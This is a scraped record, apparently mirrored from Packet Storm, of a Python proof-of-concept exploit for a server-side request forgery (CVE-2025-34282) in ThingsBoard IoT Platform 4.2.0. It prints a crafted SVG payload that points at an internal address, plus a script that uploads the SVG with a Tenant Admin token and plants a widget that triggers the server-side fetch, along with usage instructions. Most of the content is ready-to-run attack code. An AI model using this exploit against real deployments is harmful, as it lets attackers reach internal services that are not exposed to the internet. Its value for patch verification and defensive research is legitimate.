{“lastseen”:”2026-05-08T18:05:29″,”description”:”ThingsBoard IoT Platform version 4.2.0 suffers from a server-side request forgery vulnerability…”,”published”:”2026-05-08T00:00:00″,”modified”:”2026-05-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:220574″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34282″],”sourceData”:”# Exploit Title: ThingsBoard IoT Platform 4.2.0 – Server-Side Request Forgery (SSRF) \\n # Date: 2026-03-25\\n # Exploit Author: Tamil Mathi T.\\n # Vendor Homepage: https:\/\/thingsboard.io\\n # Software Link: https:\/\/github.com\/thingsboard\/thingsboard\\n # Version: \\u003c 4.2.1\\n # Tested On: ThingsBoard 4.2.0\\n # CVE: CVE-2025-34282\\n # References: https:\/\/www.cve.org\/CVERecord?id=CVE-2025-34282\\n # https:\/\/github.com\/mathitam\/thingsboard-ssrf-cve-2025-34282\\n #\\n # Description:\\n # ThingsBoard versions before 4.2.1 are vulnerable to SSRF via the Image\\n # Upload Gallery feature. An attacker can upload a crafted SVG file containing\\n # a remote URL reference (e.g. via \\u003cimage xlink:href=\\”http:\/\/127.0.0.1:5555\\”\\u003e).\\n # When ThingsBoard processes the uploaded SVG server-side, it fetches the\\n # referenced URL, allowing the attacker to reach internal services not\\n # exposed to the internet.\\n #\\n # Requires a Tenant Admin bearer token. Tenant Admin is a role below System\\n # Admin in ThingsBoard’s hierarchy and has access to the Widget Library and\\n # Image Upload Gallery APIs used in this exploit.\\n #\\n # Attack chain:\\n # 1. Upload a malicious SVG to POST \/api\/image\\n # -\\u003e Server processes the SVG and issues a request to the internal URL\\n # 2. Create a custom widget embedding the SVG’s publicLink via \\u003cobject\\u003e tag\\n # -\\u003e Widget render also triggers the server-side fetch\\n #\\n # SVG payload used (ssrf_localhost_5555_svg.svg):\\n # \\u003c?xml version=\\”1.0\\” standalone=\\”no\\”?\\u003e\\n # \\u003csvg version=\\”1.1\\” baseProfile=\\”full\\” xmlns=\\”http:\/\/www.w3.org\/2000\/svg\\”\\n # xmlns:xlink=\\”http:\/\/www.w3.org\/1999\/xlink\\”\\n # xmlns:ev=\\”http:\/\/www.w3.org\/2001\/xml-events\\”\\u003e\\n # \\u003cdefs\\u003e\\n # \\u003cpattern id=\\”img1\\” patternUnits=\\”userSpaceOnUse\\” width=\\”600\\” height=\\”450\\”\\u003e\\n # \\u003cimage xlink:href=\\”http:\/\/127.0.0.1:5555\\” x=\\”0\\” y=\\”0\\” width=\\”600\\” height=\\”450\\” \/\\u003e\\n # \\u003c\/pattern\\u003e\\n # \\u003c\/defs\\u003e\\n # \\u003cpath d=\\”M5,50 l0,100 l100,0 l0,-100 l-100,0 …\\” fill=\\”url(#img1)\\” \/\\u003e\\n # \\u003c\/svg\\u003e\\n #\\n # Usage:\\n # pip install requests\\n # python thingsboard_ssrf.py \\u003csvg_file\\u003e \\u003cbearer_token\\u003e\\n #\\n # Example:\\n # python thingsboard_ssrf.py ssrf_localhost_5555_svg.svg eyJhbGci…\\n \\n import requests\\n import json\\n import os\\n import sys\\n import argparse\\n import time\\n \\n DEFAULT_URL_UPLOAD = \\”http:\/\/localhost:8080\/api\/image\\”\\n DEFAULT_URL_WIDGET = \\”http:\/\/localhost:8080\/api\/widgetType\\”\\n DEFAULT_REFERER = \\”http:\/\/localhost:8080\/resources\/images\\”\\n DEFAULT_ORIGIN = \\”http:\/\/localhost:8080\\”\\n \\n def upload_image(filepath, token):\\n if not os.path.isfile(filepath):\\n raise SystemExit(f\\”File not found: {filepath}\\”)\\n \\n filename = os.path.basename(filepath)\\n \\n mime_types = {\\n ‘.svg’: ‘image\/svg+xml’,\\n ‘.jpg’: ‘image\/jpeg’,\\n ‘.jpeg’: ‘image\/jpeg’,\\n ‘.png’: ‘image\/png’,\\n ‘.gif’: ‘image\/gif’\\n }\\n ext = os.path.splitext(filename)[1].lower()\\n mime_type = mime_types.get(ext, ‘application\/octet-stream’)\\n \\n headers = {\\n \\”X-Authorization\\”: f\\”Bearer {token}\\”,\\n \\”User-Agent\\”: \\”python-requests\/2.x\\”,\\n \\”Referer\\”: DEFAULT_REFERER,\\n \\”Origin\\”: DEFAULT_ORIGIN,\\n }\\n \\n with open(filepath, \\”rb\\”) as f:\\n files = {\\n \\”file\\”: (filename, f, mime_type)\\n }\\n resp = requests.post(DEFAULT_URL_UPLOAD, headers=headers, files=files, timeout=30, allow_redirects=False)\\n \\n return resp\\n \\n def create_widget(public_link, token):\\n headers = {\\n \\”X-Authorization\\”: f\\”Bearer {token}\\”,\\n \\”Content-Type\\”: \\”application\/json\\”,\\n \\”Accept\\”: \\”application\/json, text\/plain, *\/*\\”,\\n \\”Origin\\”: DEFAULT_ORIGIN,\\n \\”User-Agent\\”: \\”python-requests\\”\\n }\\n \\n template_html = f\\”\\”\\”\\n \\u003ctb-value-card-widget\\n [ctx]=\\”ctx\\”\\n [widgetTitlePanel]=\\”widgetTitlePanel\\”\\u003e\\n \\u003c\/tb-value-card-widget\\u003e\\n \\u003cobject data=\\”{public_link}\\” type=\\”image\/svg+xml\\”\\u003e\\u003c\/object\\u003e\\n \\”\\”\\”\\n \\n payload = {\\n \\”fqn\\”: \\”SSRF_testing_Poc\\”,\\n \\”name\\”: \\”SSRF_testing_Poc\\”,\\n \\”deprecated\\”: False,\\n \\”image\\”: \\”tb-image;\/api\/images\/system\/air_quality_index_card_system_widget_image.png\\”,\\n \\”description\\”: \\”Displays the latest air quality index telemetry in a scalable rectangle card.\\”,\\n \\”descriptor\\”: {\\n \\”type\\”: \\”latest\\”,\\n \\”sizeX\\”: 3,\\n \\”sizeY\\”: 3,\\n \\”resources\\”: [],\\n \\”templateHtml\\”: template_html,\\n \\”templateCss\\”: \\”\\”,\\n \\”controllerScript\\”: \\”self.onInit = function() {\\\\n self.ctx.$scope.valueCardWidget.onInit();\\\\n};\\\\n\\\\nself.onDataUpdated = function() {\\\\n self.ctx.$scope.valueCardWidget.onDataUpdated();\\\\n};\\\\n\\\\nself.typeParameters = function() {\\\\n return {\\\\n maxDatasources: 1,\\\\n maxDataKeys: 1,\\\\n singleEntity: true,\\\\n previewWidth: ‘250px’,\\\\n previewHeight: ‘250px’,\\\\n embedTitlePanel: true,\\\\n supportsUnitConversion: true,\\\\n defaultDataKeysFunction: function() {\\\\n return [{ name: ‘air’, label: ‘Air Quality Index’, type: ‘timeseries’ }];\\\\n }\\\\n };\\\\n};\\\\n\\\\nself.onDestroy = function() {\\\\n};\\\\n\\”,\\n \\”dataKeySettingsForm\\”: [],\\n \\”settingsDirective\\”: \\”tb-value-card-widget-settings\\”,\\n \\”hasBasicMode\\”: True,\\n \\”basicModeDirective\\”: \\”tb-value-card-basic-config\\”,\\n \\”defaultConfig\\”: \\”{\\\\\\”datasources\\\\\\”:[{\\\\\\”type\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”name\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”dataKeys\\\\\\”:[{\\\\\\”name\\\\\\”:\\\\\\”f(x)\\\\\\”,\\\\\\”type\\\\\\”:\\\\\\”function\\\\\\”,\\\\\\”label\\\\\\”:\\\\\\”Air Quality Index\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”#2196f3\\\\\\”,\\\\\\”settings\\\\\\”:{},\\\\\\”_hash\\\\\\”:0.2392660816082064,\\\\\\”funcBody\\\\\\”:\\\\\\”var value = prevValue + Math.random() * 100 – 50;\\\\\\\\nif (value \\u003c 0) {\\\\\\\\n\\\\\\\\tvalue = 0;\\\\\\\\n} else if (value \\u003e 320) {\\\\\\\\n\\\\\\\\tvalue = 320;\\\\\\\\n}\\\\\\\\nreturn value;\\\\\\”,\\\\\\”aggregationType\\\\\\”:null,\\\\\\”units\\\\\\”:null,\\\\\\”decimals\\\\\\”:null,\\\\\\”usePostProcessing\\\\\\”:null,\\\\\\”postFuncBody\\\\\\”:null}],\\\\\\”alarmFilterConfig\\\\\\”:{\\\\\\”statusList\\\\\\”:[\\\\\\”ACTIVE\\\\\\”]}}],\\\\\\”timewindow\\\\\\”:{\\\\\\”realtime\\\\\\”:{\\\\\\”timewindowMs\\\\\\”:60000}},\\\\\\”showTitle\\\\\\”:false,\\\\\\”backgroundColor\\\\\\”:\\\\\\”rgba(0, 0, 0, 0)\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”padding\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”settings\\\\\\”:{\\\\\\”labelPosition\\\\\\”:\\\\\\”top\\\\\\”,\\\\\\”layout\\\\\\”:\\\\\\”square\\\\\\”,\\\\\\”showLabel\\\\\\”:true,\\\\\\”labelFont\\\\\\”:{\\\\\\”size\\\\\\”:14,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”},\\\\\\”labelColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”constant\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”showIcon\\\\\\”:true,\\\\\\”iconSize\\\\\\”:40,\\\\\\”iconSizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”icon\\\\\\”:\\\\\\”mdi:weather-windy\\\\\\”,\\\\\\”iconColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”range\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”rangeList\\\\\\”:[{\\\\\\”from\\\\\\”:0,\\\\\\”to\\\\\\”:50,\\\\\\”color\\\\\\”:\\\\\\”#80C32C\\\\\\”},{\\\\\\”from\\\\\\”:50,\\\\\\”to\\\\\\”:100,\\\\\\”color\\\\\\”:\\\\\\”#FFA600\\\\\\”},{\\\\\\”from\\\\\\”:100,\\\\\\”to\\\\\\”:150,\\\\\\”color\\\\\\”:\\\\\\”#F36900\\\\\\”},{\\\\\\”from\\\\\\”:150,\\\\\\”to\\\\\\”:200,\\\\\\”color\\\\\\”:\\\\\\”#D81838\\\\\\”},{\\\\\\”from\\\\\\”:200,\\\\\\”to\\\\\\”:300,\\\\\\”color\\\\\\”:\\\\\\”#8D28C\\\\\\”},{\\\\\\”from\\\\\\”:300,\\\\\\”to\\\\\\”:null,\\\\\\”color\\\\\\”:\\\\\\”#6F113A\\\\\\”}],\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”valueFont\\\\\\”:{\\\\\\”size\\\\\\”:26,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”},\\\\\\”valueColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”range\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”,\\\\\\”rangeList\\\\\\”:[{\\\\\\”from\\\\\\”:0,\\\\\\”to\\\\\\”:50,\\\\\\”color\\\\\\”:\\\\\\”#80C32C\\\\\\”},{\\\\\\”from\\\\\\”:50,\\\\\\”to\\\\\\”:100,\\\\\\”color\\\\\\”:\\\\\\”#FFA600\\\\\\”},{\\\\\\”from\\\\\\”:100,\\\\\\”to\\\\\\”:150,\\\\\\”color\\\\\\”:\\\\\\”#F36900\\\\\\”},{\\\\\\”from\\\\\\”:150,\\\\\\”to\\\\\\”:200,\\\\\\”color\\\\\\”:\\\\\\”#D81838\\\\\\”},{\\\\\\”from\\\\\\”:200,\\\\\\”to\\\\\\”:300,\\\\\\”color\\\\\\”:\\\\\\”#8D28C\\\\\\”},{\\\\\\”from\\\\\\”:300,\\\\\\”to\\\\\\”:null,\\\\\\”color\\\\\\”:\\\\\\”#6F113A\\\\\\”}]},\\\\\\”showDate\\\\\\”:true,\\\\\\”dateFormat\\\\\\”:{\\\\\\”format\\\\\\”:null,\\\\\\”lastUpdateAgo\\\\\\”:true,\\\\\\”custom\\\\\\”:false},\\\\\\”dateFont\\\\\\”:{\\\\\\”family\\\\\\”:\\\\\\”Roboto\\\\\\”,\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”style\\\\\\”:\\\\\\”normal\\\\\\”,\\\\\\”weight\\\\\\”:\\\\\\”500\\\\\\”},\\\\\\”dateColor\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”constant\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.38)\\\\\\”,\\\\\\”colorFunction\\\\\\”:\\\\\\”var temperature = value;\\\\\\\\nif (typeof temperature !== undefined) {\\\\\\\\n var percent = (temperature + 60)\/120 * 100;\\\\\\\\n return tinycolor.mix(‘blue’, ‘red’, percent).toHexString();\\\\\\\\n}\\\\\\\\nreturn ‘blue’;\\\\\\”},\\\\\\”background\\\\\\”:{\\\\\\”type\\\\\\”:\\\\\\”color\\\\\\”,\\\\\\”color\\\\\\”:\\\\\\”#fff\\\\\\”,\\\\\\”overlay\\\\\\”:{\\\\\\”enabled\\\\\\”:false,\\\\\\”color\\\\\\”:\\\\\\”rgba(255,255,255,0.72)\\\\\\”,\\\\\\”blur\\\\\\”:3}},\\\\\\”autoScale\\\\\\”:true},\\\\\\”title\\\\\\”:\\\\\\”Air quality card\\\\\\”,\\\\\\”dropShadow\\\\\\”:true,\\\\\\”enableFullscreen\\\\\\”:false,\\\\\\”titleStyle\\\\\\”:{\\\\\\”fontSize\\\\\\”:\\\\\\”16px\\\\\\”,\\\\\\”fontWeight\\\\\\”:400},\\\\\\”units\\\\\\”:\\\\\\”AQI\\\\\\”,\\\\\\”decimals\\\\\\”:1,\\\\\\”useDashboardTimewindow\\\\\\”:true,\\\\\\”showLegend\\\\\\”:false,\\\\\\”widgetStyle\\\\\\”:{},\\\\\\”actions\\\\\\”:{},\\\\\\”configMode\\\\\\”:\\\\\\”basic\\\\\\”,\\\\\\”displayTimewindow\\\\\\”:true,\\\\\\”margin\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”borderRadius\\\\\\”:\\\\\\”0px\\\\\\”,\\\\\\”widgetCss\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”pageSize\\\\\\”:1024,\\\\\\”noDataDisplayMessage\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”showTitleIcon\\\\\\”:false,\\\\\\”titleTooltip\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”titleFont\\\\\\”:{\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:null,\\\\\\”weight\\\\\\”:null,\\\\\\”style\\\\\\”:null,\\\\\\”lineHeight\\\\\\”:\\\\\\”1.6\\\\\\”},\\\\\\”titleIcon\\\\\\”:\\\\\\”\\\\\\”,\\\\\\”iconColor\\\\\\”:\\\\\\”rgba(0, 0, 0, 0.87)\\\\\\”,\\\\\\”iconSize\\\\\\”:\\\\\\”14px\\\\\\”,\\\\\\”timewindowStyle\\\\\\”:{\\\\\\”showIcon\\\\\\”:true,\\\\\\”iconSize\\\\\\”:\\\\\\”14px\\\\\\”,\\\\\\”icon\\\\\\”:\\\\\\”query_builder\\\\\\”,\\\\\\”iconPosition\\\\\\”:\\\\\\”left\\\\\\”,\\\\\\”font\\\\\\”:{\\\\\\”size\\\\\\”:12,\\\\\\”sizeUnit\\\\\\”:\\\\\\”px\\\\\\”,\\\\\\”family\\\\\\”:n\\n },\\n \\”resources\\”: None,\\n \\”scada\\”: False,\\n \\”tags\\”: [\\”weather\\”, \\”environment\\”, \\”air\\”, \\”aqi\\”, \\”pollution\\”, \\”emission\\”, \\”smog\\”]\\n }\\n \\n try:\\n resp = requests.post(DEFAULT_URL_WIDGET, headers=headers, json=payload)\\n return resp\\n except Exception as e:\\n print(f\\”Request failed: {e}\\”, file=sys.stderr)\\n sys.exit(1)\\n \\n def main(image_path, token):\\n try:\\n resp = upload_image(image_path, token)\\n print(\\”Upload Status:\\”, resp.status_code)\\n \\n public_link = resp.json().get(\\”publicLink\\”) or (resp.json().get(\\”data\\”) and resp.json()[\\”data\\”].get(\\”publicLink\\”))\\n if not public_link:\\n print(resp.json())\\n print(\\”Failed to retrieve public link from response.\\”)\\n sys.exit(1)\\n \\n print(\\”Public Link:\\”, public_link)\\n \\n time.sleep(2)\\n \\n widget_resp = create_widget(public_link, token)\\n print(\\”Widget Creation Status:\\”, widget_resp.status_code)\\n print(\\”\\\\n[+] Widget created successfully.\\”)\\n print(\\” Look for widget named ‘SSRF_testing_Poc’ in the Widget Library.\\”)\\n print(\\” Add it to any dashboard to trigger the SSRF.\\”)\\n \\n except Exception as e:\\n print(\\”Error:\\”, e, file=sys.stderr)\\n sys.exit(1)\\n \\n if __name__ == \\”__main__\\”:\\n parser = argparse.ArgumentParser(description=\\”ThingsBoard SSRF via SVG Upload PoC\\”)\\n parser.add_argument(\\”image\\”, help=\\”Path to the SVG file to upload\\”)\\n parser.add_argument(\\”token\\”, nargs=\\”?\\”, default=os.environ.get(\\”TB_TOKEN\\”), help=\\”Bearer token (or set TB_TOKEN env var)\\”)\\n args = parser.parse_args()\\n \\n if not args.token:\\n print(\\”Error: token not provided and TB_TOKEN not set.\\”, file=sys.stderr)\\n parser.print_help()\\n sys.exit(2)\\n \\n main(args.image, args.token)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220574″,”cvss”:{“score”:9.1,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:N”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220574\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-08T18:05:29″,”description”:”ThingsBoard IoT Platform version 4.2.0 suffers from a server-side request forgery vulnerability…”,”published”:”2026-05-08T00:00:00″,”modified”:”2026-05-08T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 ThingsBoard IoT Platform 4.2.0 Server-Side Request Forgery”,”source”:””,”references”:””,”id”:”PACKETSTORM:220574″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-34282″],”sourceData”:”# Exploit Title: ThingsBoard IoT Platform 4.2.0…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,10,12,13,53,7,11,5],"class_list":["post-52570","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-91","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n